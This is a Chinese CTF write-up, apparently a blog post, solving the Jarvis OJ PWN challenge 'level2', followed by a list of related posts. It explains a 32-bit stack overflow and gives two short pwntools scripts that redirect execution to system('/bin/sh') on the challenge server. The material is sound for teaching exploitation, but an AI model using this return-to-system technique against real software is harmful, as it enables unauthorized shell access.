[Jarvis OJ - PWN]——[XMAN]level2
[Jarvis OJ - PWN]——[XMAN]level2
- 题目地址:https://www.jarvisoj.com/challenges
- 题目:
首先,checksec一下。32位并且没有开启PIE
在IDA中查看一下。main函数里面没有我们想要的,点开vulnerable_function函数。发现read函数,第一个参数为0,代表标准输入。可以利用栈溢出。
发现里面有system函数,但是里面的参数不是我们想要的,所以我们要覆盖一下它。按shift + F12,找到/bin/sh字符串。
/bin/sh的地址为0x0804A024
下面我们有两种方法
方法一
可以利用 .plt 找到system函数第一句执行的地址。或者也可以自己找。
exp:
from pwn import *
p = remote('pwn2.jarvisoj.com', 9878)
elf = ELF("./level2.54931449c557d0551c4fc2a10f4778a1")
binsh = 0x0804A024
sys_address = elf.plt["system"] # 其实就是0x08048320
payload = 'a'*(0x88 + 0x4) + p32(sys_address)+'aaaa'+p32(binsh) # aaaa可以随机四个字符就好
p.send(payload)
p.interactive()
方法二
找到call system的地址
exp:
from pwn import *
p = remote('pwn2.jarvisoj.com', 9878)
binsh = 0x0804A024
call_system_address = 0x0804845C
payload = 'a'*(0x88 + 0x4) + p32(call_system_address)+p32(binsh)
p.send(payload)
p.interactive()
小知识
call语句,其实包含两个步骤:
- 将函数的下一条执行语句的地址压栈 ,也就是返回地址
- 执行函数的第一个语句
就不给你自己写下exploit
[Jarvis OJ - PWN]——[XMAN]level2相关推荐
- [Jarvis OJ - PWN]——[XMAN]level2(x64)
[Jarvis OJ - PWN]--[XMAN]level2(x64) 题目地址:https://www.jarvisoj.com/challenges 题目: checksec一下,是64位程序. ...
- [Jarvis OJ - PWN]——[XMAN]level4
[Jarvis OJ - PWN]--[XMAN]level4 题目地址: https://www.jarvisoj.com/challenges 题目: checksec一下 IDA中 思路 0x1 ...
- [Jarvis OJ - PWN]——[XMAN]level3_x64
[Jarvis OJ - PWN]--[XMAN]level3_x64 题目地址:https://www.jarvisoj.com/challenges 题目: 老样子,还是先checksec一下,再 ...
- [Jarvis OJ - PWN]——[XMAN]level3
[Jarvis OJ - PWN]--[XMAN]level3 题目地址:https://www.jarvisoj.com/challenges 题目: 先checksec一下,32位程序开启了NX保 ...
- [Jarvis OJ - PWN]——[XMAN]level0
[Jarvis OJ - PWN]--[XMAN]level0 题目地址:https://www.jarvisoj.com/challenges 题目: checksec看看,64位,开启了NX保护 ...
- [Jarvis OJ - PWN]——[XMAN]level1
[Jarvis OJ - PWN]--[XMAN]level1 题目地址:https://www.jarvisoj.com/challenges 题目: 先checksec一下,什么保护都没有开.32 ...
- [Jarvis OJ - PWN]——Typo(内涵peak小知识)
[Jarvis OJ - PWN]--Typo 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先check一下, 是arm架构.还是第一次遇到. pe ...
- [Jarvis OJ - PWN]——Backdoor
[Jarvis OJ - PWN]--Backdoor 题目地址: https://www.jarvisoj.com/challenges 题目: 额,怎么说呢这个题有点出乎我的意料, 有点晕乎乎的. ...
- [Jarvis OJ - PWN]——[61dctf]fm
[Jarvis OJ - PWN]--[61dctf]fm 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下, 开启了canary ...
最新文章
- python调用百度识别文字接口_python调用百度通用文字识别接口进行验证码识别
- 2021夏季每日一题 【week5 完结】
- python内置函数用来返回数值型序列中所有元素之和_语句x = 3==3, 5执行结束后,变量x的值为_学小易找答案...
- SAP Commerce Cloud 切换 delivery mode 会触发 promotionresult 的删除
- 如何查看自己的ubutu系统是32位的还是64位的
- Delphi水平测试试卷(初中级)样题
- mysql schema 保存数据_如何在mysql数据库中保存apache spark schema输出
- ASP.NET基础教程-Server对象
- DT大数据梦工厂 第72,73讲
- FMS3 客户端call服务器端
- csgo手机上看demo_《CSGO》观看游戏DEMO方法 怎么观看游戏DEMO
- 镇楼篇--转行初入IT的心路历程
- C++程序员的职业生涯规划
- 想知道电脑上怎么压缩图片?用这3个方法实现快速压缩
- 普通话考试是从题库里抽吗_普通话考试试题有哪些
- csdn上面文章转发
- 中国与美国光纤网络连接详解
- 计算机硬件的组装硬盘,组装电脑如何选择硬盘?DIY装机四种电脑硬盘搭配方案提供参考...
- SDRAM DQM的解释
- 【计网】(三)超网、路由、NAT协议
热门文章
- 控制Domino的log.nsf数据库过大增长
- SQL查询语句精华文章(转)
- HarmonyOS之LED灯和振动器Vibrator的功能和使用
- HarmonyOS之应用工程结构与设备模板
- 详解Python的*args和 **kwargs
- Martix工作室考核题 —— 输出1000以内能被3整除,且个位数为6的所有整数。
- DSP入门:中断PIE
- 【STM32】FreeRTOS系统配置
- 【Tools】VMware Workstation 15.5 Pro安装详解
- [Qt教程] 第34篇 网络(四)FTP(二)